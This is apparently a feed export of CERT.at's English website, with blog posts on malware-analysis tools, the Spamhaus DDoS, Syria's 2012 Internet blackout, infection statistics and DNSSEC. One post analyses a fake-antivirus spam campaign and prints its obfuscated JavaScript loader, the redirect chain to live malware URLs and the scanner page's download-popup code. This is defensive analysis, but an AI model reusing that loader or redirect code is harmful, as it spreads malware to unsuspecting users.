Updates of www.CERT.at

(Services/Services) - Services

2013-03-20T11:05:17Z

Services

Besides the warnings - which are only published in German language - and miscellaneous downloads there are still some more services CERT.at offers via this website.

(Services/Feeds) - Feeds

2013-03-20T11:05:17Z

Feeds

If you want to receive CERT.at's latest site-activities in your RSS/Atom Feed Reader please choose:

Updates of www.CERT.at

This feed serves all updates of www.CERT.at.

RSS 2.0 http://www.cert.at/all_en.rss_2.0.xml
ATOM 1.0 http://www.cert.at/all_en.atom_1.0.xml

CERT.at Downloads

All CERT.at downloads as a feed.

RSS 2.0 http://www.cert.at/all.downloads_en.rss_2.0.xml
ATOM 1.0 http://www.cert.at/all.downloads_en.atom_1.0.xml

Blog

CERT.at's English blog as a feed.

RSS 2.0 http://www.cert.at/all.services.blog_en.rss_2.0.xml
ATOM 1.0 http://www.cert.at/all.services.blog_en.atom_1.0.xml

(Services/Incident Report Form) - Incident report form

2013-03-20T11:05:17Z

Incident report form

We propose that you use the following form to guide you through the process of writing a helpful incident report.

(Services/Links) - Links

2013-03-20T11:05:17Z

Links

	BSI advisories regarding miscellaneous vulnerabilities (german)
	US-CERT advisories regarding miscellaneous vulnerabilities (english)

	IT-Security advisories with marks for alerts (german)
	Advisories regarding miscellaneous vulnerabilities with priority-tags (german)
	Advisories regarding miscellaneous vulnerabilities and SANS interpretation of the actual level of global security (english)
	Advisories regarding miscellaneous actual vulnerabilities (english)

	Advisories regarding miscellaneous actual vulnerabilities in Microsoft products (english)
	Advisories regarding miscellaneous actual vulnerabilities in Apple products (german)
	Advisories regarding miscellaneous actual vulnerabilities in software relating to Debian GNU/Linux (english)
	Advisories regarding miscellaneous actual vulnerabilities in software relating to Red Hat (english)
	Advisories regarding miscellaneous actual vulnerabilities in software relating to SUSE Linux Enterprise (english)

(Services/Blog) - ProcDOT 1.0 released

2013-06-18T09:20:47Z

ProcDOT 1.0 released

2013/06/18

I am happy to announce that the first release (1.0) of my visual malware analysis tool ProcDOT (I already mentioned the beta in a recent blog post) is now available.

Get it for free from our website: ProcDOT 1.0

Author: Christian Wojner

(Services/Blog) - Lessons from the Stophaus/CloudFlare/Spamhaus DDoS for ISPs

2013-04-12T11:05:45Z

Lessons from the Stophaus/CloudFlare/Spamhaus DDoS for ISPs

2013/03/28

Update: our full report on this incident is now available (in German)

No, the Internet is not breaking down, we did not have a doomsday scenario over the last week.

We did have an interesting situation, there were some disruption in some parts of the Internet, and there were a good number of overtime hours being put in to mitigate these disruptions.

Here are some links:

http://www.bbc.co.uk/news/technology-21954636

https://greenhost.nl/2013/03/21/spam-not-spam-tracking-hijacked-spamhaus-ip/

https://www.nytimes.com/2013/03/27/technology/internet/online-dispute-becomes-internet-snarling-attack.html?pagewanted=all

http://rt.com/news/spamhaus-threat-cyberbunker-ddos-attack-956/

http://blog.cloudflare.com/the-ddos-that-almost-broke-the-internet

http://gizmodo.com/5992652

http://cluepon.net/ras/gizmodo

There is some discussion in international network security forums on what lessons should be taken from those events. This is all pretty preliminary, but boils down to the following:

Control Plane Protection

After the attackers failed to bring down the anycasted webservers of CloudFlare (that part is described at the CloudFlare blog), they aimed at the network equipment supporting those nodes.

For one view on how to protect your own routers from attacks, see https://www.box.com/s/osk4po8ietn1zrjjmn8b

There are also some lessons for the operators of Internet Exchange Points.

Network Hygiene

The attacks were mainly done using amplification via DNS servers. In order to reduce these attacks, the following three points need to be taken care of:

Implement BCP38. The attackers need to send out forged packets; restricting their ability to do so from a hacked box inside *your* network helps.

Recursive nameservers should not be open to the word. See RFC5358. There are a few projects starting up which scan the Internet for such open recursors in order to get them all fixed. One is http://openresolverproject.org. Warning: the data-quality from that service is not optimal yet.
If you want to scan your own netblock for open recursors, have a look at Aaron's software.

Authoritative nameservers can also be abused as traffic amplifiers. There are patches out which implement rate-limiting for the common implementations. See e.g. http://www.redbarn.org/dns/ratelimits

Forgery tracking capability

In the case when someone is abusing ISP customers as amplificators to attack a.b.c.d, then he is forging the packets claiming to originate from a.b.c.d. As we need to track down the forgers, it is necessary that all networks are capable of investigating where these forgeries originate from (inside your own network, from a peering, or from your upstream).

This needs to be a fast process.

It does not matter how this is achieved; the most obvious tool to do this is a decent netflow coverage of your network. For smaller networks, this can be done with open source tools like nfsen.

Author: Otmar Lendl

(Services/Blog) - ProcDOT - Visual Malware Analysis

2013-03-19T16:18:13Z

ProcDOT - Visual Malware Analysis

2013/03/19

Dear like-minded people,

I'm very proud to announce that our latest contribution to the malware analysis community is finally available as open beta.

It's called ProcDOT - I already gave a preview of the alpha version some months ago at SANS Forensics Summit in Prague - and it is an absolute must have tool for everyone's lab, at least in my humble opinion ;-)

It correlates Procmon logfiles and PCAPs to an interactively investigateable graph. Besides that ProcDOT is now also capable of animating the whole infection evolution based on a timeline of activities. This feature lets you even quickly find out which server or which requests were responsible that specific data/code got on the underlying system, by which process it was written, how often, who injected what, which autostart registry key was set, what happened when, and so forth ...

ProcDOT's approach of correlating Procmon logs and PCAPs to a directed animateable graph has the potential to reduce one's efforts to behavioral analyze a malicious situation to an absolute minimum. => Find out if there's something malicious going on under the hood with one quick glance. => Find out what it does in minutes.

To let users get the most out of ProcDOT I took the effort to create 50 minutes of tutorial videos which show the use of ProcDOT in a case of a typical drive-by-infection.

Get it for free from our website: http://www.cert.at/downloads/software/procdot_en.html ... and be sure to follow the included readme file!

Still there are so many things that I have planned to add, but from my experience regardless how many of them will be implemented this situation won't change ;-)

As always, feedback - good and bad - is very much appreciated.

Cheers,

Christian

PS: There's an upcoming (April) ProcDOT presentation at First Symposium in Amsterdam. See you there, maybe.

Author: Christian Wojner

(Services/Blog) - Syria offline - initial analysis of BGP

2012-12-03T14:39:21Z

Syria offline - initial analysis of BGP

2012/11/29

This blog post evolved over time - initially it was a mere scratchpad for notes during our initial research between 2012/11/29 and 11/30. Later, after Syria was back online again, I added a summary and some potential explanations of what might have happened at the end of this blog post.

The blackout

2012/11/29: as Renesys and others pointed out, Syria seems to be offline since 10:26 UTC. Michael Kafka and me verified this fact via looking at BGP routing tables and looked at the potential damage to the Internet as a global system. Here is what we can confirm / figured out:

AS29386 is the Syrian Telecom (STE). It seems to be the central hub for all connections to/from Syria. So, we started first with this network.

This is how STE is connected:

Next, we looked at Renesys' claim that 92% of all announcements were offline. However, the situation seems to be worse: at the time of this writing we did not find a single BGP prefix which was announced via STE AS29386. There still might be some other carrier which announces Syrian IP spaces but none of them went through Syria Telecom.

Next, we looked at the list of known netblocks which are announced via AS29386 based on RIPE's stat.ripe.net service: https://stat.ripe.net/as29386#tabId=routing. This list was compared against our BGP table. We indeed could confirm that none of the networks were visible.

UPDATE 00:45 a.m.: Cloudflare has a good analysis of the Internet blackout. Summary: a fiber cable cut seems unlikely according to cloudflare.

UPDATE 2012/11/30, 11:00 a.m.: The last night was busy with figuring out some details. I could independently confirm that even the IP range, which was active in the Finfisher malware was not reachable anymore. This is interesting since this IP range was actually attributed to the Syrian government. So, even they are definitely offline. This is strange. If I were the Syrian government and I wanted to block rebels from communicating via the Internet, I wouldn't turn off my own connectivity as well. What happened?

UPDATE: Renesys has an updated Analysis. There seems to be some traffic flowing out, but via other carriers. We could not confirm this. However what we could find out was...

How does it look from inside of Syria?

I received a traceroute from within Syria via a friend of a friend of a friend. So, please be aware of this and treat it merely as a hint. However, to me it looks real. The first IP addresses are intentionally obfuscated to protect the individual who made the traceroute. It is interesting to see that the traceroute ends at:

% Information related to '82.137.192.0 - 82.137.199.255'

inetnum: 82.137.192.0 - 82.137.199.255 netname: SY-STE-PDN-NETWORK descr: STE PDN Backbone Network country: SY admin-c: WS1833-RIPE tech-c: MS4418-RIPE tech-c: WS1833-RIPE status: ASSIGNED PA mnt-by: STEMNT-1 mnt-lower: STEMNT-1 remarks: ----------------------------------------------------------- remarks: INFRA-AW remarks: ANY Problems Like SPAM, Hacking etc.. remarks: Send Email to wmsalem@gmail.com remarks: ----------------------------------------------------------- source: RIPE # Filtered

person: Mostafa Sawan address: Syria phone: +963 21 5229803 fax-no: +963 21 52288992 nic-hdl: MS4418-RIPE mnt-by: STEMNT-1 source: RIPE # Filtered

person: Weam Salem address: PDN- STE phone: +963-11-4461475 fax-no: +963-11-4466892 nic-hdl: WS1833-RIPE mnt-by: WS-MNT source: RIPE # Filtered

% Information related to '82.137.192.0/18AS29256'

route: 82.137.192.0/18 descr: STE Public Data Network Backbone and LIR origin: AS29256 mnt-by: STEMNT-1 source: RIPE # Filtered

% Information related to '82.137.192.0/18AS29386'

route: 82.137.192.0/18 descr: STE Public Data Network Backbone and LIR origin: AS29386 mnt-by: STEMNT-1 source: RIPE # Filtered

In other words, we are observing the path that data pakets would take from within Syria to google (8.8.8.8). However, the network where everything stops is STE (precisely the STE PDN Backbone Network). It will be very interesting to compare this traceroute later when the internet connectivity is restored again. Then we will be able to see exactly at which point data pakets were dropped.

Here is a screenshot of the traceroute:

Why is this traceroute so special? It was smuggled out via a VSAT connection!! So this is to the best of my knowledge a unique view of the Internet blockage as seen from inside Syria at the time of when it happened. Indeed, there seem to be many VSATs in Syria. The New York times confirmed.

According to the same sources, regular landline phones still work in Damaskus. Also, accessing *.SY domains / servers from within Syria seems to still work (at least yesterday night). It's just the international wired links which are down. Somehow this proves my point that I made in an interview with "DerStandard". Still, VSATs and modems are slow - but at least some folks still had some connectivity.

Speaking of DNS:

\$ dig -t ns sy; <<>> DiG 9.7.6-P1 <<>> -t ns sy
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26318
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;sy. IN NS
;; ANSWER SECTION:
sy. 86400 IN NS ns1.tld.sy.
sy. 86400 IN NS ns2.tld.sy.
sy. 86400 IN NS pch.anycast.tld.sy.
sy. 86400 IN NS sy.cctld.authdns.ripe.net.
;; Query time: 18 msec
;; SERVER: x x x x #53(x x x x )
;; WHEN: Fri Nov 30 12:49:46 2012
;; MSG SIZE rcvd: 125

This means that ripe.net is still a secondary authoritative DNS server for *.sy domains. You can still query *.sy domains from there in case you know what you are searching for. This fits together with claims that *.sy domains which are hosted in the US are still reachable.

Physical connections

Syrian sea cables (source: Mikko Hipponen):

In addition there seem to be land cables to turkey - again according to Mikko.

UPDATE 2012/11/30 14:45: Otmar and me cross checked the BGP announcements via a different mechanism. Since our initial analysis only included any network which was announced via STE, we thought we should better double check again and look if we had forgotten any Syrian network which was not going through STE. Therefore, we took a different approach: we extracted the syrian IP ranges from the maxmind DB, fetched the ASNs, compared against the full BGP feed and found that our last hope, a traceroute path to Syria via the indian carrier TATA terminates in Paris. So even though we chose a different path for our analysis, we end up with the same result: Syria is indeed offline.

UPDATE 2012/12/2: it seems that the land line via Turkey mentioned above was planned but was not in operation during the Internet blackout. This makes it very hard to attribute the cause of the blackout to either the rebels or the government. As Renesys said in their updated blog:

The restoration was achieved just as quickly and neatly as the outage: like a switch being thrown. Does that mean that we believe the government (or the opposition) threw the switch? Frankly, the data available just don't support attribution at this point, despite all the speculation.

Where do the sea cables come in? Close to Tartous (Tartus) (and by the way, Tartus hosts the russian naval base).

Greg's cable map site has a nice list of lines arriving at Tartus:

If there was some physical damage to these lines or the landing site, then most probably the carrier operators should know about that. Did someone ask them already what happened? If they don't know of any damage, then something must have happened on the software level or further inland.

Telecomix posted pictures of the Tarassul data center (note the Blue-coat (and the power cord that you could trip over ;-) ): . Again, just to be sure - this is some info from the Internet. No idea how much solid evidence this picture is.

Post-fact analysis - what actually happened?

Hard to tell. Personally I still believe it was caused by a "network maintenance" event. That is - someone got a phone call and had to disable BGP announcements. Or there was some upgrade to DPI systems. However, the fact that all networks were gone (including the government networks and the network range which was hosting the famous FinFisher command & control server) speaks exactly against this theory. If we apply reasoning (which might be the wrong thing in a war(?)), then we should assume that these government networks should have been up and running. But they were not as we could independently confirm. Also there are multiple sea cables going into Syria. But they seem to come together at one point in Tartus. A single point of failure.

Lessons learned

In summary I can only conclude that we don't know for sure what really happened, but we know for sure that it is really a bad idea to have a single point of failure.

More specifically, I believe we need:

physical redundancy

It makes sense to have many fiber lines. If we were to believe the official story that rebels blew up a communications cable, then redundant connections would have avoided any blackout.

organizational redundancy

Having one organization and one technician administering vital systems which are a single point of failure is a bad idea. Humans make errors. Or they can get bribed. Who knows what really happened in Syria? Maybe the technician had to upgrade the DPI system and the upgrade did not work? Having multiple organizations / ISPs minimizes these risks.

Nevertheless...

they have guns!

All of the above is of course only a recommendation which works in a democratic nation at peace. If there are multiple SWAT teams with guns entering multiple ISPs' office at the same time and ordering a nationwide shutdown, there is little you can do but to shut down everything.

Nevertheless, I am very happy that Austria at least is well connected with multiple redundant links and with multiple ISPs. But even here we should learn the lesson from Syria: build redundancy! It's important! Srsly.

On a lighter note, I was wondering why I personally got so excited about the subject. Well, I guess xkcd answered it for me:

(source: http://xkcd.com/705/)

Author: L. Aaron Kaplan

(Services/Blog) - Spikes in Austrian CCM number in Q4/2011

2012-09-21T15:03:45Z

Spikes in Austrian CCM number in Q4/2011

2012/09/20

Microsoft's Security Intelligence Report 12 uses the computers cleaned per mille (CCM) metric to compare the infection rates over time and between countries.

This is, of course, no perfect measurement of the actual infection rates due to a number of factors, but nevertheless an interesting data-point.

Austria usually sports a quite low CCM score, but during Q4 2011 something strange happened: there was a clear upwards spike. So we wondered what happened to Austria (as well as to some of our neighbors):

There seem to be various factors playing together:

The online banking gangs (using SpyEye, ZeuS, Ice-IX, Citadel, Torpig, ...) seem to be focussing on specific banks (and countries) at each point in time. Once they have the web-injects and the money-mules lined up, they use shady services to buy either installs or web-traffic on a by-country basis. Given the effectiveness of exploit-packs, web-traffic can be easily be turned into zombies.

MSRT added detection for SpyEye in October 2011, causing spikes in CCM in those countries that experienced active SpyEye campaigns at that time.

SpyEye has been supplanted by other banking-malware, MSRT might not be covering all of them.

We have thus on one side the criminal gangs which are changing both their targets and the malware they use, and on the other side Microsoft, which is also adapting their MSRT. If these factors intersect in the right way, the CCM for a country spikes.

(Mike Sandee from Fox-IT provided input towards this analysis.)

Author: Otmar Lendl

(Services/Blog) - IE6 Death Watch

2011-12-19T16:04:49Z

IE6 Death Watch

2011/12/19

Internet Explorer 6 has outlived its "good-before"-date for years now and both Web-programmers (living hell to support) and Microsoft (a security-nightmare for them) were keen to put a stake through its heart for the last years.

It finally seem to have worked: Austria is now at < 1% IE6 according to Microsoft's IE6 Countdown page.

That's a good milestone for all of us.

Author: Otmar Lendl

(Services/Blog) - Tipping our Hats

2011-04-26T07:34:47Z

Tipping our Hats

2011/04/26

It's not an everyday occurrence that an Austrian Company finds an important security issue. If they then follow responsible disclosure towards the vendor and also inform the local CERT, that's something that should be openly acknowledged.

Thus: A round of applause from CERT.at goes to Johannes Greil of SEC Consult Unternehmensberatung GmbH for finding a bug in the Check Point VPN client.

Author: Otmar Lendl

(Services/Blog) - Mapping the Malware Web

2010-11-02T17:46:29Z

Mapping the Malware Web

2010/10/27

McAfee published the 2010 "Mapping the Malware Web" report. The explanations and trends in there are worth looking at. More importantly, for us as the CERT, this report is one of the few independent studies which provides us with real numbers on the state of the IT Security game in Austria.

.at is ranked as the 76th most dangerous TLD with an infection-rate of about 0.4%. This is up from 89th and 0.2% of 2009. We should do better here.

We've got work to do. And we've actually prepared a number of internal tools and data-feeds to work on exactly this problem. So be prepared to hear more from us regarding malicious domains in the near future.

Author: Otmar Lendl

(Services/Blog) - Enabling DNSSEC Validation

2010-11-04T10:39:09Z

Enabling DNSSEC Validation

2010/10/19

This week, Comcast announced that they will enable DNSSEC validation on their production resolvers. One thing one might want to keep in mind if you do that:

People make mistakes. Some domain owners will break their DNSSEC signatures. We've seen a good number of these in 1010, including TLDs like .arpa, .be, and .uk. I asked Comcast if they have a policy on how to deal with such events. According to Jason Livingood, Comcast will inform their users, and notifiy the owners of the broken domain. I aswered:

From a technology PoV that's certainly a valid policy.
There are two issues you might think through before you run into them in real life:
When people break their "normal" DNS, all ISPs are affected more or less equally (disregarding caching-effects for now). But as long as Verizon, AT&T and others don't validate as well, your customer will notice that he can't do online-banking while his neighbor on DSL can. This will be discussed on social media platforms and people will compare which access ISPs "work" and which don't. The fact that the problem is on the other end is kind of hard to explain and will be lost in the outrage.
There will be customers which will need immediate access to the blacked-out domain NOW or they will suffer financial damage, couldn't book their golfing tour, or whatever else will bring them to threaten you with legal action. From their PoV, Comcast is suppressing their communication and hotheads will sue. After all, if you already know that DNSSEC is blocking their IMPORTANT business, why don't you just disable it? Depending on what kinds of domains are affected, this might escalate to the very top faster that you might anticipate.
Be prepared.

Author: Otmar Lendl

(Services/Blog) - Yet another current fake AV infection

2010-11-03T12:01:56Z

Yet another current fake AV infection

2010/09/21

Tiny report of a yet another current fake AV infection which is being spammed out via Email.

Warning: do not try to reproduce these results on a Windows PC unless you know what you are doing. As of the time of this writing, the URLs mentioned in this report are live and contain malware.

Background

Today the following Email (with attached Javascript file) caught my attention:

From:     Andres Pratt <asiaticshqz83@royalhighgate.com>
 Subject:     Vacation Care Payment Program - September 2010
 Date:     September 20, 2010 3:55:08 PM GMT+02:00
 To:     mymailinglist-owner@lists.YYYYYY.org
 Return-Path:     <mailman-bounces@lists.YYYYYY.org>
 X-Original-To:     aaron@XXXXXX.org
 Delivered-To:     aaron@XXXXXX.org
 X-Policyd-Weight:     using cached result; rate:hard: -7.6
 Received:     from abc.YYYYYY.org (abc.YYYYYY.org [1.2.3.4]) by mailserver.XXXXXX.org (Postfix)
    with ESMTP id 919B6CE21B0 for <aaron@XXXXXX.org>; Mon, 20 Sep 2010 14:55:19 +0200 (CEST)
 Received:     from localhost ([127.0.0.1] helo=abc.YYYYYY.org) by abc.YYYYYY.org with esmtp
   (Exim 4.63) (envelope-from <mailman-bounces@lists.YYYYYY.org>) id 1Oxftv-000581-5y; Mon,
    20 Sep 2010 14:55:19 +0200
 Received:     from [109.228.248.243] (helo=LOSHAZXPVC) by abc.YYYYYY.org with esmtp
   (Exim 4.63) (envelope-from <asiaticshqz83@royalhighgate.com>) id 1Oxftq-00057e-Ki; Mon,
   20 Sep 2010 14:55:17 +0200
 Received:     from mta003.royalhighgate.com (mta298.royalhighgate.com [66.231.92.249]) by
   mail.royalhighgate.com (8.13.2+Sun/8.13.9) with ESMTP id 36ij9391558267 for
   <mymailinglist-owner@lists.YYYYYY.org>; Mon, 20 Sep 2010 15:55:08 +0200
 Message-Id:     <41060351.52314783258024343.JavaMail.pc1@nielu8.royalhighgate.com>
 Mime-Version:     1.0
 Content-Type:     multipart/mixed; boundary="----=_Part_8807_43917428.1091380632604"
 X-Spam-Checker-Version:     SpamAssassin 3.1.7-deb3 (2006-10-05) on  abc.YYYYYY.org
 X-Spam-Level:     **
 X-Spam-Status:     No, score=2.9 required=5.0 tests=BAYES_50,HTML_MESSAGE,
   RCVD_IN_BSP_OTHER,RCVD_IN_PBL,RCVD_IN_SORBS_WEB autolearn=no  version=3.1.7-deb3
 Sender:     mailman-bounces@lists.YYYYYY.org
 Errors-To:     mailman-bounces@lists.YYYYYY.org
 X-Sa-Exim-Connect-Ip:     127.0.0.1
 X-Sa-Exim-Mail-From:     mailman-bounces@lists.YYYYYY.org
 X-Sa-Exim-Scanned:     No (on abc.YYYYYY.org); SAEximRunCond expanded to false

<pre>HI All,</pre> <pre>Attached is the program and payments program for the upcoming vacation care. As I will be absent over this time I trying to ensure all is well organized for the team. Could you please confirm how you wish to pay for the events as listed.</pre>

[Attached Javascript]

As I was curious I just simply looked at the Javascript and wanted to determine what new variant of maliciousness the spammers came up with today. For the sake of documentation for others, I further decided to write down the results of this mini- analysis in the hope that others can learn from it.

Let's first concentrate on the mail itself: if you look at the IP addresses above, the mail went from 66.231.92.249 to 109.228.248.243 and then to a mailing list (mailman) at YYYYYY.org (which refused it and generated a bounce to me since my email address is in the "mailman-bounces" alias). So far we can only determine that the mail went from 66.231.92.249 (Exact Target Inc. In Indianapolis) to MILLENICOM-DSLNET2 (DSL range in Turkey, probably an infected PC) So far so good, we don't get much information from this.

But more interesting than the mail is the actual attached Javascript. Let's take a look at it:

<script language="JavaScript" type="text/javascript">function uvru(xdkz){var
 trzu=" oq0-fbinrxehc:v>.=\\"/pa;gtusml<",t998,k5qe,t7ah="",dhyp,bbwn=trzu.length;
eval(unescape("%66un%63ti%6Fn l%75bx%28vk%76v){%747a%68+=%76kvv%7D"));
for(dhyp=0;dhyp<xdkz.length;dhyp++){t998=xdkz.charAt(dhyp);k5qe=trzu.indexOf(t998);
if(k5qe>-1){k5qe-=(dhyp+1)%bbwn;if(k5qe<0){k5qe+=bbwn;}lubx(trzu.charAt(k5qe));
}else{lubx(t998);}}eval(t7ah); eval(unescape("%64oc%75me%6Et.w%72it%65(t%37ah)%3Bt7%61h=%22%22;"));
}uvru(" <:lsb\\"q0 v;vra -bm u 0/b:sx<ithxmagr<0=nlginf<bisps/0=0bi:<ngph/><0fsr<s");
</script><noscript>To display this page you need a browser that supports JavaScript.</noscript>

Of course, the malware authors exepect that the unsuspecting user will click on the Mail attachment and thus this piece of HTML/JavaScript would be executed from within a browser. At first sight this Javascript is short but totally unreadable. So how do we unobfuscate this Javascript without triggering any malicious side effects? It turns out that simplly replacing "eval" by "alert" produces the proper results when you execute the JavaScript in the browser:

<script language="JavaScript" type="text/javascript">function uvru(xdkz){var

 trzu=" oq0-fbinrxehc:v>.=\\"/pa;gtusml<",t998,k5qe,t7ah="",dhyp,bbwn=trzu.length;
eval(unescape("%66un%63ti%6Fn l%75bx%28vk%76v){%747a%68+=%76kvv%7D"));
for(dhyp=0;dhyp<xdkz.length;dhyp++){t998=xdkz.charAt(dhyp);k5qe=trzu.indexOf(t998);
if(k5qe>-1){k5qe-=(dhyp+1)%bbwn;if(k5qe<0){k5qe+=bbwn;}lubx(trzu.charAt(k5qe));
}else{lubx(t998);}}alert(t7ah);alert(unescape("%64oc%75me%6Et.w%72it%65(t%37ah)%3Bt7%61h=%22%22;"));
}uvru(" <:lsb\\"q0 v;vra -bm u 0/b:sx<ithxmagr<0=nlginf<bisps/0=0bi:<ngph/><0fsr<s");
</script><noscript>To display this page you need a browser that supports JavaScript.</noscript>

Please observe that the first eval() was left intact. The first eval() actually just "decoded" a function which is called later. But how does this trick with alert() actually work? The alert() function shows the result of the code that would be executed by eval by evaluating it without executing the code. Instead of executing it, it will simply show a alert box with the contents of the code.

The result of the alert() function is:

Pic1: document.write(t7ah);t7ah="";

So we now know that the variable t7ah would be written to the web browser (the DOM tree). The next question is, what ist he value of the t7ah variable? Again, the same trick works! The second alert() does the trick.

Another alert(t7ah); shows its contents:

Pic2: the contents of the t7ah Variable

So, we effectively cracked the Jaascript obfuscation! Therefore, we now know that the Javascript tells the browser to go to http://nobletree.org/x.html via a HTTP refresh.

Ok, so let's go to http://nobletree.org/x.html ourselves (manually):

\$ wget http://nobletree.org/x.html

The Unix tool wget has the advantage that no unexpected Javascript will be executed. It just simply fetches the file.

Here is the content of the x.html file:

PLEASE WAITING.... 4 SECONDS
 <meta http-equiv="refresh" content="4;url=http://scaner-high.cz.cc/scanner10/?afid=24" />
 <iframe width="0" height="0" src="http://finwizonline.com/news/"></iframe>

Obviously the attackers will redirect us again to two new URLs. So we can now take a look at these two domains:

\$ host scaner-high.cz.cc
 scaner-high.cz.cc has address 91.211.119.162

\$ whois 91.211.119.162
 #
 % Information related to '91.211.116.0 - 91.211.119.255'

inetnum:        91.211.116.0 - 91.211.119.255
 netname:        net-0x2a
 descr:          Zharkov Mukola Mukolayovuch
 remarks:        Datacentre "0x2a"
 country:        UA
 org:            ORG-PEZM1-RIPE
 admin-c:        ZN210-RIPE
 tech-c:         ZN210-RIPE
 status:         ASSIGNED PI
 mnt-by:         RIPE-NCC-HM-PI-MNT
 mnt-lower:      RIPE-NCC-HM-PI-MNT
 mnt-by:         ONIK-MNT
 mnt-routes:     ONIK-MNT
 mnt-domains:    ONIK-MNT
 source:         RIPE # Filtered

organisation:   ORG-PEZM1-RIPE
 org-name:       Private Entreprise Zharkov Mukola Mukolayovuch
 org-type:       OTHER
 address:        Ukraine, Kyiv, Entuziastov str. 29, of. 42
 e-mail:         support@0x2a.com.ua
 admin-c:        ZN210-RIPE
 phone:          +38-044 587-83-16
 mnt-ref:        ONIK-MNT
 mnt-by:         ONIK-MNT
 source:         RIPE # Filtered

person:         Zharkov Nikolay
 address:        Ukraine, Kyiv, Entuziastov str. 29, of. 42
 phone:          +38-044 587-83-16
 nic-hdl:        ZN210-RIPE
 mnt-by:         ONIK-MNT
 source:         RIPE # Filtered

% Information related to '91.211.116.0/22AS48587'

Looks suspicious!

But for the sake of completeness, let's also first get the iframe from above:

\$ host finwizonline.com
 finwizonline.com has address 24.2.14.131     (comcast)
 finwizonline.com has address 174.58.192.19   (comcast)
 finwizonline.com has address 76.205.64.19    (AT&T PPP Pool)
 finwizonline.com has address 71.192.136.228  (comcast Boston)
 finwizonline.com has address 68.34.109.188   (comcast)

The author could not get any data from the finwizonline.com/news iframe regardless of which useragent string (IE 6.0 for example) was chosen. Possibly the website was taken down already.

So let us go back to the scaner-high.cz.cc URL:

\$ wget -U "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)" \\
  "http://scaner-high.cz.cc/scanner10/?afid=24"

This shows us a nice fake Antivirus screen!

\$ more index.html\\?afid\\=24
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <meta http-equiv="Content-Language" content="en" />
 <meta http-equiv="Cache-control" content="Public" />

<title>My Windows Online Scanner</title>
 <link rel="icon" href="/assets/5b9c863d//Images/favicon.gif" type="image/gif" />

<style type="text/css" media="screen">
 #loading {
 height:auto;
 left:45%;
 padding:2px;
 position:absolute;
 top:40%;
 z-index:20001;
 }
 #loading a {
 color:#225588;
 }
 #loading .loading-indicator {
 -x-system-font:none;
 background:white none repeat scroll 0 0;
 color:#444444;
 font-family:tahoma,arial,helvetica;
 font-size:13px;
 font-size-adjust:none;
 font-stretch:normal;
 font-style:normal;
 font-variant:normal;
 font-weight:bold;
 height:auto;
 line-height:normal;
 margin:0;
 padding:10px;
 }
 #loading-msg {
 -x-system-font:none;
 font-family:arial,tahoma,sans-serif;
 font-size:10px;
 font-size-adjust:none;
 font-stretch:normal;
 font-style:normal;
 font-variant:normal;
 font-weight:normal;
 line-height:normal;
 }
 </style>
 <script type="text/javascript">
 <!--//<![CDATA[
 var LinkSoftDown = "/go/?afid=24&time=1284989690";
 function ext(){window.open( "/go/?afid=24&time=1284989690", "_blank",
  "toolbar=0,titlebar=0,scrollbars=0,status=0,location=0,menubar=0,width=100,
   height=100,left=0,top=0");}
 if (window.attachEvent) eval("window.attachEvent('onunload',ext);");
 else window.addEventListener("unload", ext, false);
 //]]>-->
 </script>
 </head>
 <body>
 <div id="loading" style="display:block">
 <div class="loading-indicator">
 <img height="50" width="50" style="margin-right: 8px; float: left;
  vertical-align: top;" src="/assets/5b9c863d//Images/loading.gif"/>
 <br/>
 <span id="loading-msg">Initializing Virus Protection System...</span></div>
 </div>
 <script type="text/javascript" src="/scanner10/codejs">
 </script>
 </body>
 </html>

And of course - in a very efficient manner - as soon as you download and follow the http://scaner-high.cz.cc/go/?afid=24&time=1284989690 URL, a binary .EXE file will try to run on your PC! Next I wanted to see if Virustotal.com or other AV engines already know the binary.

http://www.virustotal.com/file-scan/report.html?id=de7262bf81a9d791d80986f785c795edf02ac0ba7c39cd89fb9021f8a6228e5f-1284989236

Shows that this is a rather well known piece of malware. It is well detected. 65% of all AV engines detect this fake AV at the time of this writing.

The next step of course would be to reverse engineer this malware but - I leave it as it is right now. Nothing really new.

So far the author only managed to download the binary .EXE file if the user agent string matches as shown above.

The Webserver serving the malware runs on nginx/0.7.65 As said above, we had to fake the User Agent string to "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)". A very practical tool to fake UA strings is "UserAgent Switcher" for Firefox. This way the author could download the samples from a regular Linux PC.

Fake AV User Experience

Pic 3: a pop-up box appears and warns the user that his computer is "infected". Please note that this screenshot was of course done on e Linux System as to not infect the host.

If the user clicks OK here, then he is redirected to this page, which looks like a Windows window alerting him of malware:

Pic 4: a web page looking like a regular Windows Window. Non computer savvy people would fall for this trick.

Finally if the user clicks on "remove all" he will receive a .EXE file called "antivirus.exe" which is the very same binary that we were able to download via wget before.

Author: L. Aaron Kaplan

(Downloads/Summary) - Downloads

2013-03-20T11:05:16Z

Downloads

In this area of our homepage we offer you material for free download. Please read the related licence agreements.

Downloads which are only available in German language will be shortly mentioned in the English area as well, but the full description and the download-link itself will only be found in the German area.

These are the available categories for downloads:

Data

Here you'll find files that contain information for the purpose of being read by machines (i.e.: configuration files).

Papers

This area contains all papers that have been published by CERT.at so far.

Press

This is the place for all material that are of typical use for the public press (i.e.: CERT.at's logo).

Software

"Open" software with its root in CERT.at's daily work will be found here, including descriptions.

(Downloads/Papers) - The WOW-Effect

2013-04-12T11:11:36Z

The WOW-Effect

2011/11/30

A paper about how Microsoft's WOW64 technology unintentionally fools IT-Security analysts.

Download Paper

Download Slides

Publication Date

November, 30th 2011

Author

Christian Wojner

Language

English

History

You can download the full document in pdf format here.

Presentation Slides

You can download the latest presentation slides (Deepsec 2012) in pdf format here.

Presentation Video

As soon as the recordings of our presentation at Deepsec 2012 (Thanks to the Deepsec folks!) are available you will find an according link here.

Content

The 64-bit version of Microsoft Windows includes file-system virtualization features to run 32-bit programs. File access is transparently redirected to other directories in certain cases.

This feature can easily fool an analyst looking at a running system and can have a massive impact on infection-driven forensics, malware analysis and comparable investigations.

